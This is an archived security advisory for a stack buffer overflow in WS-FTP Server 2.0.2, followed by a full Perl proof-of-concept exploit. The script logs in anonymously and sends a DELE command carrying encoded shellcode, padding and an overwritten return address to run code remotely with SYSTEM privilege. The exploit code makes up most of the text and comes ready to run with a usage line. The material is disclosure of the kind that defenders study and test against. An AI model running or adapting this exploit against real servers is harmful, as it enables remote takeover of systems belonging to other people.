source: http://www.securityfocus.com/bid/3102/info

WS-FTP Server is vulnerable to malicious remote user input argumenting multiple FTP commands received from anonymously connecting clients.

An attacker may supply a long sequence of characters as an argument to any of the affected commands. If the length of the argumenting string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself.

As a result, an attacker can replace the affected function's return address with a pointer to malicious shellcode, allowing arbitrary code to run with SYSTEM privilege.

#!/usr/local/bin/perl
#########################################################################
#
# WS_FTP Server 2.0.2 DELE proof-of-concept exploit
# By andreas@defcom.com and janne@defcom.com (C)2001
#
#########################################################################
$login="ftp";	#username
$pass="ftp";	#password
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
	print "WS_FTP server 2.0.2 DELE proof-of-concept exploit\n";
	print "It creates a file named defcom.iyd in the c-root\n";
	print "(C)2001 andreas\@defcom.com\n";
   	print "Usage: $0 <host>\n";
	print "Example: $0 127.0.0.1\n";
	exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "21";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

sleep(1);
$msg = "user $login\n"; 
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pass $pass\n";
sleep(1);
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$sploit = "\x8b\xd8\x8b\xf8\x83\xc0\x18\x33\xc9\x66\xb9\x42\x81\x66\x81\xf1\x80\x80\x80\x30\x95\x40\xe2\xfa\xde\x1e\x76";
$sploit = $sploit . "\x1e\x7e\x2e\x95\x6f\x95\x95\xc6\xfd\xd5\x95\x95\x95\x2b\x49\x81\xd0\x95\x6a\x83\x96\x56\x1e\x75\x1e\x7d\xa6\x55";
$sploit = $sploit . "\xc5\xfd\x15\x95\x95\x95\xff\x97\xc5\xc5\xfd\x95\x95\x95\x85\x14\x52\x59\x94\x95\x95\xc2\x2b\xb1\x80\xd0\x95";
$sploit = $sploit . "\x6a\x83\xc5\x2b\x6d\x81\xd0\x95\x6a\x83\xa6\x55\xc5\x2b\x85\x83\xd0\x95\x6a\x83";
$msg = "dele " . $sploit . "\xd4" x (460-length($sploit)) .  "\xf6\xaf\xc9\xf1\xf0\xf3\xf6\xfa\xf8\xbb\xfc\xec\xf1\x95";
$msg = $msg . "\xab\xa3\x54\x77" . "\xd4" x 16 . "\x8b\xc4\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x71\xff\xe0\n";
print $msg;
sleep(1);
send(SOCK, $msg, 0) or die "Cannot send query: $!";
exit;